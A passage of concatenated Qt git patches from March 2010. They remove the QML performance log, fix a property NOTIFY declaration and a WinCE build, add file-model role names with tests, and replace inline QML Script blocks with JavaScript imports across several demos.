$$PWD/qdeclarativepackage.cpp \ $$PWD/qdeclarativeanimation.cpp \ @@ -33,8 +31,6 @@ SOURCES += \ HEADERS += \ $$PWD/qdeclarativeutilmodule_p.h\ $$PWD/qdeclarativeview.h \ - $$PWD/qfxperf_p_p.h \ - $$PWD/qperformancelog_p_p.h \ $$PWD/qdeclarativeconnections_p.h \ $$PWD/qdeclarativepackage_p.h \ $$PWD/qdeclarativeanimation_p.h \ diff --git a/src/imports/particles/qdeclarativeparticles.cpp b/src/imports/particles/qdeclarativeparticles.cpp index bb6669a..83be59b 100644 --- a/src/imports/particles/qdeclarativeparticles.cpp +++ b/src/imports/particles/qdeclarativeparticles.cpp @@ -44,7 +44,6 @@ #include #include -#include #include #include @@ -567,9 +566,6 @@ void QDeclarativeParticlesPrivate::tick(int time) void QDeclarativeParticlesPrivate::createParticle(int time) { -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer x; -#endif Q_Q(QDeclarativeParticles); QDeclarativeParticle p(time); p.x = q->x() + q->width() * qreal(qrand()) / RAND_MAX - image.width()/2.0; diff --git a/tools/qml/qmlruntime.cpp b/tools/qml/qmlruntime.cpp index 6660947..d4ceb0b 100644 --- a/tools/qml/qmlruntime.cpp +++ b/tools/qml/qmlruntime.cpp @@ -51,7 +51,6 @@ #include #include #include "qdeclarative.h" -#include #include #include #include "deviceskin.h" @@ -1221,7 +1220,6 @@ void QDeclarativeViewer::keyPressEvent(QKeyEvent *event) << "F5 - reload QML\n" << "F6 - show object tree\n" << "F7 - show timing\n" - << "F8 - show performance (if available)\n" << "F9 - toggle video recording\n" << "F10 - toggle orientation\n" << "device keys: 0=quit, 1..8=F1..F8" @@ -1233,9 +1231,6 @@ void QDeclarativeViewer::keyPressEvent(QKeyEvent *event) takeSnapShot(); } else if (event->key() == Qt::Key_F5 || (event->key() == Qt::Key_5 && devicemode)) { reload(); - } else if (event->key() == Qt::Key_F8 || (event->key() == Qt::Key_8 && devicemode)) { - QPerformanceLog::displayData(); - QPerformanceLog::clear(); } else if (event->key() == Qt::Key_F9 || (event->key() == Qt::Key_9 && devicemode)) { toggleRecording(); } else if (event->key() == Qt::Key_F10) { -- cgit v0.12 From e338b7efadc24619129e421aea31e06b948b0f12 Mon Sep 17 00:00:00 2001 From: Leonardo Sobral Cunha Date: Mon, 22 Mar 2010 13:26:45 +1000 Subject: Removed wrong parenthesis around property NOTIFY declaration --- src/declarative/util/qdeclarativeanimation_p.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/util/qdeclarativeanimation_p.h b/src/declarative/util/qdeclarativeanimation_p.h index eb339f6..925eb36 100644 --- a/src/declarative/util/qdeclarativeanimation_p.h +++ b/src/declarative/util/qdeclarativeanimation_p.h @@ -72,7 +72,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeAbstractAnimation : public QObject, public Q Q_INTERFACES(QDeclarativePropertyValueSource) Q_PROPERTY(bool running READ isRunning WRITE setRunning NOTIFY runningChanged) Q_PROPERTY(bool paused READ isPaused WRITE setPaused NOTIFY pausedChanged) - Q_PROPERTY(bool alwaysRunToEnd READ alwaysRunToEnd WRITE setAlwaysRunToEnd NOTIFY alwaysRunToEndChanged()) + Q_PROPERTY(bool alwaysRunToEnd READ alwaysRunToEnd WRITE setAlwaysRunToEnd NOTIFY alwaysRunToEndChanged) Q_PROPERTY(bool repeat READ repeat WRITE setRepeat NOTIFY repeatChanged) Q_CLASSINFO("DefaultMethod", "start()") -- cgit v0.12 From 2cc9a9a51d6742708b1ea41c7338755e2a0ee9e9 Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Mon, 22 Mar 2010 13:48:36 +1000 Subject: Fix build failure on WinCE. --- src/network/bearer/qnetworksession.h | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src/network/bearer/qnetworksession.h b/src/network/bearer/qnetworksession.h index 18437f6..e65c177 100644 --- a/src/network/bearer/qnetworksession.h +++ b/src/network/bearer/qnetworksession.h @@ -48,6 +48,10 @@ #include #include +#if defined(Q_OS_WIN) && defined(interface) +#undef interface +#endif + QT_BEGIN_HEADER QT_BEGIN_NAMESPACE -- cgit v0.12 From c1958338bb94f045c846147bdb7224377a2122a6 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 22 Mar 2010 14:09:20 +1000 Subject: Set role names for QFileSystemModel and QDirModel Task-number: QTBUG-7479 Reviewed-by: Alexis Menard --- src/gui/dialogs/qfilesystemmodel.cpp | 7 ++++++ src/gui/itemviews/qdirmodel.cpp | 6 +++++ tests/auto/qdirmodel/tst_qdirmodel.cpp | 28 +++++++++++++++++++++ .../auto/qfilesystemmodel/tst_qfilesystemmodel.cpp | 29 ++++++++++++++++++++++ 4 files changed, 70 insertions(+) diff --git a/src/gui/dialogs/qfilesystemmodel.cpp b/src/gui/dialogs/qfilesystemmodel.cpp index ba0a560..2f1933c 100644 --- a/src/gui/dialogs/qfilesystemmodel.cpp +++ b/src/gui/dialogs/qfilesystemmodel.cpp @@ -1896,6 +1896,13 @@ void QFileSystemModelPrivate::init() q->connect(&fileInfoGatherer, SIGNAL(directoryLoaded(QString)), q, SIGNAL(directoryLoaded(QString))); q->connect(&delayedSortTimer, SIGNAL(timeout()), q, SLOT(_q_performDelayedSort()), Qt::QueuedConnection); + + QHash roles = q->roleNames(); + roles.insertMulti(QFileSystemModel::FileIconRole, "fileIcon"); // == Qt::decoration + roles.insert(QFileSystemModel::FilePathRole, "filePath"); + roles.insert(QFileSystemModel::FileNameRole, "fileName"); + roles.insert(QFileSystemModel::FilePermissions, "filePermissions"); + q->setRoleNames(roles); } /*! diff --git a/src/gui/itemviews/qdirmodel.cpp b/src/gui/itemviews/qdirmodel.cpp index 378a238..48599bc 100644 --- a/src/gui/itemviews/qdirmodel.cpp +++ b/src/gui/itemviews/qdirmodel.cpp @@ -1182,12 +1182,18 @@ QFileInfo QDirModel::fileInfo(const QModelIndex &index) const void QDirModelPrivate::init() { + Q_Q(QDirModel); filters = QDir::AllEntries | QDir::NoDotAndDotDot; sort = QDir::Name; nameFilters << QLatin1String("*"); root.parent = 0; root.info = QFileInfo(); clear(&root); + QHash roles = q->roleNames(); + roles.insertMulti(QDirModel::FileIconRole, "fileIcon"); // == Qt::decoration + roles.insert(QDirModel::FilePathRole, "filePath"); + roles.insert(QDirModel::FileNameRole, "fileName"); + q->setRoleNames(roles); } QDirModelPrivate::QDirNode *QDirModelPrivate::node(int row, QDirNode *parent) const diff --git a/tests/auto/qdirmodel/tst_qdirmodel.cpp b/tests/auto/qdirmodel/tst_qdirmodel.cpp index d7f0112..1bc5b7f 100644 --- a/tests/auto/qdirmodel/tst_qdirmodel.cpp +++ b/tests/auto/qdirmodel/tst_qdirmodel.cpp @@ -106,6 +106,9 @@ private slots: void filter(); void task244669_remove(); + + void roleNames_data(); + void roleNames(); }; // Testing get/set functions @@ -681,5 +684,30 @@ void tst_QDirModel::task244669_remove() QCOMPARE(parent.data() , model.index(SRCDIR "dirtest").data()); } +void tst_QDirModel::roleNames_data() +{ + QTest::addColumn("role"); + QTest::addColumn("roleName"); + QTest::newRow("decoration") << int(Qt::DecorationRole) << QByteArray("decoration"); + QTest::newRow("display") << int(Qt::DisplayRole) << QByteArray("display"); + QTest::newRow("fileIcon") << int(QDirModel::FileIconRole) << QByteArray("fileIcon"); + QTest::newRow("filePath") << int(QDirModel::FilePathRole) << QByteArray("filePath"); + QTest::newRow("fileName") << int(QDirModel::FileNameRole) << QByteArray("fileName"); +} + +void tst_QDirModel::roleNames() +{ + QDirModel model; + QHash roles = model.roleNames(); + + QFETCH(int, role); + QVERIFY(roles.contains(role)); + + QFETCH(QByteArray, roleName); + QList values = roles.values(role); + QVERIFY(values.contains(roleName)); +} + + QTEST_MAIN(tst_QDirModel) #include "tst_qdirmodel.moc" diff --git a/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp b/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp index 9f67a5e..c234c96 100644 --- a/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp +++ b/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp @@ -137,6 +137,10 @@ private slots: void drives_data(); void drives(); void dirsBeforeFiles(); + + void roleNames_data(); + void roleNames(); + protected: bool createFiles(const QString &test_path, const QStringList &initial_files, int existingFileCount = 0, const QStringList &intial_dirs = QStringList(), const QString &baseDir = QDir::temp().absolutePath()); @@ -1016,6 +1020,31 @@ void tst_QFileSystemModel::dirsBeforeFiles() } } +void tst_QFileSystemModel::roleNames_data() +{ + QTest::addColumn("role"); + QTest::addColumn("roleName"); + QTest::newRow("decoration") << int(Qt::DecorationRole) << QByteArray("decoration"); + QTest::newRow("display") << int(Qt::DisplayRole) << QByteArray("display"); + QTest::newRow("fileIcon") << int(QFileSystemModel::FileIconRole) << QByteArray("fileIcon"); + QTest::newRow("filePath") << int(QFileSystemModel::FilePathRole) << QByteArray("filePath"); + QTest::newRow("fileName") << int(QFileSystemModel::FileNameRole) << QByteArray("fileName"); + QTest::newRow("filePermissions") << int(QFileSystemModel::FilePermissions) << QByteArray("filePermissions"); +} + +void tst_QFileSystemModel::roleNames() +{ + QFileSystemModel model; + QHash roles = model.roleNames(); + + QFETCH(int, role); + QVERIFY(roles.contains(role)); + + QFETCH(QByteArray, roleName); + QList values = roles.values(role); + QVERIFY(values.contains(roleName)); +} + QTEST_MAIN(tst_QFileSystemModel) #include "tst_qfilesystemmodel.moc" -- cgit v0.12 From 42de973ff156383beed62a6b1bce70b56b360078 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 22 Mar 2010 14:48:47 +1000 Subject: Update metaobjectbuilder version test. Task-number: QT-2918 --- .../declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp b/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp index c1dc924..8ba9d45 100644 --- a/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp +++ b/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp @@ -139,10 +139,10 @@ void tst_QMetaObjectBuilder::mocVersionCheck() // It is intended as a reminder to also update QMetaObjectBuilder // whenenver moc changes. Once QMetaObjectBuilder has been // updated, this test can be changed to check for the next version. - QEXPECT_FAIL("", "QT-2918", Continue); - QCOMPARE(int(QObject::staticMetaObject.d.data[0]), 4); - QEXPECT_FAIL("", "QT-2918", Continue); - QCOMPARE(int(staticMetaObject.d.data[0]), 4); + int version = int(QObject::staticMetaObject.d.data[0]); + QVERIFY(version == 4 || version == 5); + version = int(staticMetaObject.d.data[0]); + QVERIFY(version == 4 || version == 5); } void tst_QMetaObjectBuilder::create() -- cgit v0.12 From 888d29c9c138ca3d698985f090ceb3db912ade0f Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Mon, 22 Mar 2010 15:34:41 +1000 Subject: Deprecate inline Script {} blocks Inline blocks/includes have been replaced with an import syntax: import "foo.js" as Foo this gives better separation between QML and code. Imported script blocks also have a mandatory qualifier, which leads to better optimization potential. --- demos/declarative/calculator/calculator.js | 2 +- demos/declarative/calculator/calculator.qml | 4 +- demos/declarative/flickr/flickr-desktop.qml | 28 ++-- demos/declarative/flickr/mobile/GridDelegate.qml | 24 ++-- demos/declarative/flickr/mobile/TitleBar.qml | 14 +- .../photoviewer/PhotoViewerCore/PhotoDelegate.qml | 9 +- .../photoviewer/PhotoViewerCore/script/script.js | 2 + demos/declarative/photoviewer/photoviewer.qml | 2 - .../declarative/samegame/SamegameCore/samegame.js | 5 - demos/declarative/samegame/samegame.qml | 15 +- demos/declarative/snake/content/HighScoreModel.qml | 26 ++-- demos/declarative/snake/snake.qml | 27 ++-- .../webbrowser/content/FlickableWebView.qml | 24 ++-- .../webbrowser/content/fieldtext/FieldText.qml | 38 +++-- examples/declarative/dynamic/qml/PaletteItem.qml | 8 +- examples/declarative/sql/hello.qml | 35 +++-- examples/declarative/tic-tac-toe/tic-tac-toe.qml | 154 +-------------------- examples/declarative/webview/content/FieldText.qml | 38 +++-- .../declarative/webview/content/SpinSquare.qml | 2 +- src/declarative/qml/qdeclarativecompiler.cpp | 47 ++++++- src/declarative/qml/qdeclarativecomponent.cpp | 5 + src/declarative/qml/qdeclarativecomponent_p.h | 2 +- .../qml/qdeclarativecompositetypedata_p.h | 9 ++ .../qml/qdeclarativecompositetypemanager.cpp | 29 ++++ src/declarative/qml/qdeclarativecontext.cpp | 69 +++++++++ src/declarative/qml/qdeclarativecontext_p.h | 2 + .../qml/qdeclarativecontextscriptclass.cpp | 16 ++- src/declarative/qml/qdeclarativeengine.cpp | 6 +- src/declarative/qml/qdeclarativeengine_p.h | 8 +- src/declarative/qml/qdeclarativeinstruction.cpp | 3 + src/declarative/qml/qdeclarativeinstruction_p.h | 1 + src/declarative/qml/qdeclarativeparser_p.h | 9 ++ src/declarative/qml/qdeclarativescriptparser.cpp | 130 ++++++++++++++++- src/declarative/qml/qdeclarativescriptparser_p.h | 4 +- src/declarative/qml/qdeclarativetypenamecache.cpp | 15 ++ src/declarative/qml/qdeclarativetypenamecache_p.h | 4 +- src/declarative/qml/qdeclarativevme.cpp | 13 +- tools/qml/content/Browser.qml | 58 ++++---- 38 files changed, 521 insertions(+), 366 deletions(-) diff --git a/demos/declarative/calculator/calculator.js b/demos/declarative/calculator/calculator.js index cd6490a..f172daf 100644 --- a/demos/declarative/calculator/calculator.js +++ b/demos/declarative/calculator/calculator.js @@ -14,7 +14,7 @@ function disabled(op) { } } -function doOp(op) { +function doOperation(op) { if (disabled(op)) { return; } diff --git a/demos/declarative/calculator/calculator.qml b/demos/declarative/calculator/calculator.qml index 66705e2..1644968 100644 --- a/demos/declarative/calculator/calculator.qml +++ b/demos/declarative/calculator/calculator.qml @@ -1,10 +1,12 @@ import Qt 4.6 +import "calculator.js" as CalcEngine Rectangle { width: 320; height: 270; color: palette.window + function doOp(operation) { CalcEngine.doOperation(operation); } + SystemPalette { id: palette } - Script { source: "calculator.js" } Column { x: 2; spacing: 10; diff --git a/demos/declarative/flickr/flickr-desktop.qml b/demos/declarative/flickr/flickr-desktop.qml index 99216cb..4de2202 100644 --- a/demos/declarative/flickr/flickr-desktop.qml +++ b/demos/declarative/flickr/flickr-desktop.qml @@ -31,21 +31,19 @@ Item { } } - Script { - function photoClicked() { - imageDetails.photoTitle = title; - imageDetails.photoDescription = description; - imageDetails.photoTags = tags; - imageDetails.photoWidth = photoWidth; - imageDetails.photoHeight = photoHeight; - imageDetails.photoType = photoType; - imageDetails.photoAuthor = photoAuthor; - imageDetails.photoDate = photoDate; - imageDetails.photoUrl = url; - imageDetails.rating = 0; - wrapper.state = "Details"; - } - } + function photoClicked() { + imageDetails.photoTitle = title; + imageDetails.photoDescription = description; + imageDetails.photoTags = tags; + imageDetails.photoWidth = photoWidth; + imageDetails.photoHeight = photoHeight; + imageDetails.photoType = photoType; + imageDetails.photoAuthor = photoAuthor; + imageDetails.photoDate = photoDate; + imageDetails.photoUrl = url; + imageDetails.rating = 0; + wrapper.state = "Details"; + } Rectangle { id: whiteRect; anchors.fill: parent; color: "white"; radius: 5 diff --git a/demos/declarative/flickr/mobile/GridDelegate.qml b/demos/declarative/flickr/mobile/GridDelegate.qml index 291d874..767315c 100644 --- a/demos/declarative/flickr/mobile/GridDelegate.qml +++ b/demos/declarative/flickr/mobile/GridDelegate.qml @@ -5,19 +5,17 @@ Item { id: wrapper; width: 79; height: 79 - Script { - function photoClicked() { - imageDetails.photoTitle = title; - imageDetails.photoTags = tags; - imageDetails.photoWidth = photoWidth; - imageDetails.photoHeight = photoHeight; - imageDetails.photoType = photoType; - imageDetails.photoAuthor = photoAuthor; - imageDetails.photoDate = photoDate; - imageDetails.photoUrl = url; - imageDetails.rating = 0; - scaleMe.state = "Details"; - } + function photoClicked() { + imageDetails.photoTitle = title; + imageDetails.photoTags = tags; + imageDetails.photoWidth = photoWidth; + imageDetails.photoHeight = photoHeight; + imageDetails.photoType = photoType; + imageDetails.photoAuthor = photoAuthor; + imageDetails.photoDate = photoDate; + imageDetails.photoUrl = url; + imageDetails.rating = 0; + scaleMe.state = "Details"; } Item { diff --git a/demos/declarative/flickr/mobile/TitleBar.qml b/demos/declarative/flickr/mobile/TitleBar.qml index 0a06771..e92ba59 100644 --- a/demos/declarative/flickr/mobile/TitleBar.qml +++ b/demos/declarative/flickr/mobile/TitleBar.qml @@ -11,12 +11,10 @@ Item { id: container width: (parent.width * 2) - 55 ; height: parent.height - Script { - function accept() { - titleBar.state = "" - background.state = "" - rssModel.tags = editor.text - } + function accept() { + titleBar.state = "" + background.state = "" + rssModel.tags = editor.text } Text { @@ -32,7 +30,7 @@ Item { Button { id: tagButton; x: titleBar.width - 50; width: 45; height: 32; text: "..." - onClicked: if (titleBar.state == "Tags") accept(); else titleBar.state = "Tags" + onClicked: if (titleBar.state == "Tags") container.accept(); else titleBar.state = "Tags" anchors.verticalCenter: parent.verticalCenter } @@ -57,7 +55,7 @@ Item { Item { id: returnKey - Keys.onReturnPressed: accept() + Keys.onReturnPressed: container.accept() Keys.onEscapePressed: titleBar.state = "" } } diff --git a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml index 89fe3e8..ab36122 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml @@ -1,4 +1,5 @@ import Qt 4.6 +import "script/script.js" as Script Package { Item { id: stackItem; Package.name: 'stack'; width: 160; height: 153; z: stackItem.PathView.z } @@ -28,9 +29,9 @@ Package { Rectangle { id: placeHolder - property int w: getWidth(content) - property int h: getHeight(content) - property double s: calculateScale(w, h, photoWrapper.width) + property int w: Script.getWidth(content) + property int h: Script.getHeight(content) + property double s: Script.calculateScale(w, h, photoWrapper.width) color: '#878787'; anchors.centerIn: parent; smooth: true; border.color: 'white'; border.width: 3 width: w * s; height: h * s; visible: originalImage.status != Image.Ready @@ -42,7 +43,7 @@ Package { } BusyIndicator { anchors.centerIn: parent; on: originalImage.status != Image.Ready } Image { - id: originalImage; smooth: true; source: "http://" + getImagePath(content) + id: originalImage; smooth: true; source: "http://" + Script.getImagePath(content) fillMode: Image.PreserveAspectFit; width: photoWrapper.width; height: photoWrapper.height } Image { diff --git a/demos/declarative/photoviewer/PhotoViewerCore/script/script.js b/demos/declarative/photoviewer/PhotoViewerCore/script/script.js index ae24ea1..e8ef93a 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/script/script.js +++ b/demos/declarative/photoviewer/PhotoViewerCore/script/script.js @@ -1,3 +1,5 @@ +.pragma library + function getWidth(string) { return (string.match(/width=\"([0-9]+)\"/))[1] } diff --git a/demos/declarative/photoviewer/photoviewer.qml b/demos/declarative/photoviewer/photoviewer.qml index 02134ac..5e4be4c 100644 --- a/demos/declarative/photoviewer/photoviewer.qml +++ b/demos/declarative/photoviewer/photoviewer.qml @@ -10,8 +10,6 @@ Rectangle { width: 800; height: 480; color: "#d5d6d8" - Script { source: "PhotoViewerCore/script/script.js" } - ListModel { id: photosModel ListElement { tag: "Flowers" } diff --git a/demos/declarative/samegame/SamegameCore/samegame.js b/demos/declarative/samegame/SamegameCore/samegame.js index 1214b79..a119a88 100755 --- a/demos/declarative/samegame/SamegameCore/samegame.js +++ b/demos/declarative/samegame/SamegameCore/samegame.js @@ -22,11 +22,6 @@ function timeStr(msecs) { return ret; } -function getTileSize() -{ - return tileSize; -} - function initBoard() { for(var i = 0; i 0) { @@ -74,9 +72,9 @@ ListModel { } function savePlayerScore(player,score) { - db().transaction( + __db().transaction( function(tx) { - ensureTables(tx); + __ensureTables(tx); tx.executeSql("INSERT INTO HighScores VALUES(?,?,?)", [game,score,player]); fillModel(); } @@ -88,7 +86,7 @@ ListModel { } function clearScores() { - db().transaction( + __db().transaction( function(tx) { tx.executeSql("DELETE FROM HighScores WHERE game=?", [game]); fillModel(); diff --git a/demos/declarative/snake/snake.qml b/demos/declarative/snake/snake.qml index 317c7de..68c2b78 100644 --- a/demos/declarative/snake/snake.qml +++ b/demos/declarative/snake/snake.qml @@ -1,13 +1,12 @@ import Qt 4.6 import "content" as Content +import "content/snake.js" as Logic Rectangle { id: screen; SystemPalette { id: activePalette } color: activePalette.window - Script { source: "content/snake.js" } - property int gridSize : 34 property int margin: 4 property int numRowsAvailable: Math.floor((height-32-2*margin)/gridSize) @@ -36,19 +35,19 @@ Rectangle { id: heartbeat; interval: heartbeatInterval; repeat: true - onTriggered: { move() } + onTriggered: { Logic.move() } } Timer { id: halfbeat; interval: halfbeatInterval; repeat: true running: heartbeat.running - onTriggered: { moveSkull() } + onTriggered: { Logic.moveSkull() } } Timer { interval: 700; - onTriggered: {startNewGame(); } + onTriggered: { Logic.startNewGame(); } } Timer { @@ -105,13 +104,13 @@ Rectangle { anchors.fill: parent onPressed: { if (!head || !heartbeat.running) { - startNewGame(); + Logic.startNewGame(); return; } if (direction == 0 || direction == 2) - scheduleDirection((mouseX > (head.x + head.width/2)) ? 1 : 3); + Logic.scheduleDirection((mouseX > (head.x + head.width/2)) ? 1 : 3); else - scheduleDirection((mouseY > (head.y + head.height/2)) ? 2 : 0); + Logic.scheduleDirection((mouseY > (head.y + head.height/2)) ? 2 : 0); } } } @@ -149,7 +148,7 @@ Rectangle { anchors.bottom: screen.bottom Content.Button { - id: btnA; text: "New Game"; onClicked: {startNewGame();} + id: btnA; text: "New Game"; onClicked: Logic.startNewGame(); anchors.left: parent.left; anchors.leftMargin: 3 anchors.verticalCenter: parent.verticalCenter } @@ -163,11 +162,11 @@ Rectangle { } focus: true - Keys.onSpacePressed: startNewGame(); - Keys.onLeftPressed: if (state == "starting" || direction != 1) scheduleDirection(3); - Keys.onRightPressed: if (state == "starting" || direction != 3) scheduleDirection(1); - Keys.onUpPressed: if (state == "starting" || direction != 2) scheduleDirection(0); - Keys.onDownPressed: if (state == "starting" || direction != 0) scheduleDirection(2); + Keys.onSpacePressed: Logic.startNewGame(); + Keys.onLeftPressed: if (state == "starting" || direction != 1) Logic.scheduleDirection(3); + Keys.onRightPressed: if (state == "starting" || direction != 3) Logic.scheduleDirection(1); + Keys.onUpPressed: if (state == "starting" || direction != 2) Logic.scheduleDirection(0); + Keys.onDownPressed: if (state == "starting" || direction != 0) Logic.scheduleDirection(2); states: [ State { diff --git a/demos/declarative/webbrowser/content/FlickableWebView.qml b/demos/declarative/webbrowser/content/FlickableWebView.qml index 30a5d78..759cff6 100644 --- a/demos/declarative/webbrowser/content/FlickableWebView.qml +++ b/demos/declarative/webbrowser/content/FlickableWebView.qml @@ -25,21 +25,19 @@ Flickable { pixelCacheSize: 4000000 transformOrigin: Item.TopLeft - Script { - function fixUrl(url) - { - if (url == "") return url - if (url[0] == "/") return "file://"+url - if (url.indexOf(":")<0) { - if (url.indexOf(".")<0 || url.indexOf(" ")>=0) { - // Fall back to a search engine; hard-code Wikipedia - return "http://en.wikipedia.org/w/index.php?search="+url - } else { - return "http://"+url - } + function fixUrl(url) + { + if (url == "") return url + if (url[0] == "/") return "file://"+url + if (url.indexOf(":")<0) { + if (url.indexOf(".")<0 || url.indexOf(" ")>=0) { + // Fall back to a search engine; hard-code Wikipedia + return "http://en.wikipedia.org/w/index.php?search="+url + } else { + return "http://"+url } - return url } + return url } url: fixUrl(webBrowser.urlString) diff --git a/demos/declarative/webbrowser/content/fieldtext/FieldText.qml b/demos/declarative/webbrowser/content/fieldtext/FieldText.qml index d282209..1da9219 100644 --- a/demos/declarative/webbrowser/content/fieldtext/FieldText.qml +++ b/demos/declarative/webbrowser/content/fieldtext/FieldText.qml @@ -10,30 +10,26 @@ Item { signal cancelled signal startEdit - Script { - - function edit() { - if (!mouseGrabbed) { - fieldText.startEdit(); - fieldText.state='editing'; - mouseGrabbed=true; - } - } - - function confirm() { - fieldText.state=''; - fieldText.text = textEdit.text; - mouseGrabbed=false; - fieldText.confirmed(); + function edit() { + if (!mouseGrabbed) { + fieldText.startEdit(); + fieldText.state='editing'; + mouseGrabbed=true; } + } - function reset() { - textEdit.text = fieldText.text; - fieldText.state=''; - mouseGrabbed=false; - fieldText.cancelled(); - } + function confirm() { + fieldText.state=''; + fieldText.text = textEdit.text; + mouseGrabbed=false; + fieldText.confirmed(); + } + function reset() { + textEdit.text = fieldText.text; + fieldText.state=''; + mouseGrabbed=false; + fieldText.cancelled(); } Image { diff --git a/examples/declarative/dynamic/qml/PaletteItem.qml b/examples/declarative/dynamic/qml/PaletteItem.qml index 8a9a9ee..08bdc40 100644 --- a/examples/declarative/dynamic/qml/PaletteItem.qml +++ b/examples/declarative/dynamic/qml/PaletteItem.qml @@ -1,13 +1,13 @@ import Qt 4.6 +import "itemCreation.js" as Code GenericItem { id: itemButton property string file - Script { source: "itemCreation.js" } MouseArea { anchors.fill: parent; - onPressed: startDrag(mouse); - onPositionChanged: moveDrag(mouse); - onReleased: endDrag(mouse); + onPressed: Code.startDrag(mouse); + onPositionChanged: Code.moveDrag(mouse); + onReleased: Code.endDrag(mouse); } } diff --git a/examples/declarative/sql/hello.qml b/examples/declarative/sql/hello.qml index 277dfeb..29e084c 100644 --- a/examples/declarative/sql/hello.qml +++ b/examples/declarative/sql/hello.qml @@ -1,30 +1,29 @@ import Qt 4.6 Text { - Script { - function findGreetings() { - var db = openDatabaseSync("QDeclarativeExampleDB", "1.0", "The Example QML SQL!", 1000000); + function findGreetings() { + var db = openDatabaseSync("QDeclarativeExampleDB", "1.0", "The Example QML SQL!", 1000000); - db.transaction( - function(tx) { - // Create the database if it doesn't already exist - tx.executeSql('CREATE TABLE IF NOT EXISTS Greeting(salutation TEXT, salutee TEXT)'); + db.transaction( + function(tx) { + // Create the database if it doesn't already exist + tx.executeSql('CREATE TABLE IF NOT EXISTS Greeting(salutation TEXT, salutee TEXT)'); - // Add (another) greeting row - tx.executeSql('INSERT INTO Greeting VALUES(?, ?)', [ 'hello', 'world' ]); + // Add (another) greeting row + tx.executeSql('INSERT INTO Greeting VALUES(?, ?)', [ 'hello', 'world' ]); - // Show all added greetings - var rs = tx.executeSql('SELECT * FROM Greeting'); + // Show all added greetings + var rs = tx.executeSql('SELECT * FROM Greeting'); - var r = "" - for(var i = 0; i < rs.rows.length; i++) { - r += rs.rows.item(i).salutation + ", " + rs.rows.item(i).salutee + "\n" - } - text = r + var r = "" + for(var i = 0; i < rs.rows.length; i++) { + r += rs.rows.item(i).salutation + ", " + rs.rows.item(i).salutee + "\n" } - ) - } + text = r + } + ) } + text: "?" Component.onCompleted: findGreetings() } diff --git a/examples/declarative/tic-tac-toe/tic-tac-toe.qml b/examples/declarative/tic-tac-toe/tic-tac-toe.qml index ae187d2..4bb1e3f 100644 --- a/examples/declarative/tic-tac-toe/tic-tac-toe.qml +++ b/examples/declarative/tic-tac-toe/tic-tac-toe.qml @@ -1,5 +1,6 @@ import Qt 4.6 import "content" +import "tic-tac-toe.js" as Logic Item { id: game @@ -29,164 +30,17 @@ Item { height: board.height/3 onClicked: { if (!endtimer.running) { - if (!makeMove(index,"X")) - computerTurn() + if (!Logic.makeMove(index,"X")) + Logic.computerTurn() } } } } - Script { - function winner(board) - { - for (var i=0; i<3; ++i) { - if (board.children[i].state!="" - && board.children[i].state==board.children[i+3].state - && board.children[i].state==board.children[i+6].state) - return true - - if (board.children[i*3].state!="" - && board.children[i*3].state==board.children[i*3+1].state - && board.children[i*3].state==board.children[i*3+2].state) - return true - } - - if (board.children[0].state!="" - && board.children[0].state==board.children[4].state!="" - && board.children[0].state==board.children[8].state!="") - return true - - if (board.children[2].state!="" - && board.children[2].state==board.children[4].state!="" - && board.children[2].state==board.children[6].state!="") - return true - - return false - } - - function restart() - { - // No moves left - start again - for (var i=0; i<9; ++i) - board.children[i].state = "" - } - - function makeMove(pos,player) - { - board.children[pos].state = player - if (winner(board)) { - win(player + " wins") - return true - } else { - return false - } - } - - function computerTurn() - { - var r = Math.random(); - if(r < game.difficulty){ - smartAI(); - }else{ - randAI(); - } - } - - function smartAI() - { - function boardCopy(a){ - var ret = new Object; - ret.children = new Array(9); - for(var i = 0; i<9; i++){ - ret.children[i] = new Object; - ret.children[i].state = a.children[i].state; - } - return ret; - } - for(var i=0; i<9; i++){ - var simpleBoard = boardCopy(board); - if (board.children[i].state == "") { - simpleBoard.children[i].state = "O"; - if(winner(simpleBoard)){ - makeMove(i,"O") - return - } - } - } - for(var i=0; i<9; i++){ - var simpleBoard = boardCopy(board); - if (board.children[i].state == "") { - simpleBoard.children[i].state = "X"; - if(winner(simpleBoard)){ - makeMove(i,"O") - return - } - } - } - function thwart(a,b,c){//If they are at a, try b or c - if (board.children[a].state == "X") { - if (board.children[b].state == "") { - makeMove(b,"O") - return true - }else if (board.children[c].state == "") { - makeMove(c,"O") - return true - } - } - return false; - } - if(thwart(4,0,2)) return; - if(thwart(0,4,3)) return; - if(thwart(2,4,1)) return; - if(thwart(6,4,7)) return; - if(thwart(8,4,5)) return; - if(thwart(1,4,2)) return; - if(thwart(3,4,0)) return; - if(thwart(5,4,8)) return; - if(thwart(7,4,6)) return; - for(var i =0; i<9; i++){//Backup - if (board.children[i].state == "") { - makeMove(i,"O") - return - } - } - restart(); - } - - function randAI() - { - var open = 0; - for (var i=0; i<9; ++i) - if (board.children[i].state == "") { - open += 1; - } - if(open == 0){ - restart(); - return; - } - var openA = new Array(open);//JS doesn't have lists I can append to (i think) - var acc = 0; - for (var i=0; i<9; ++i) - if 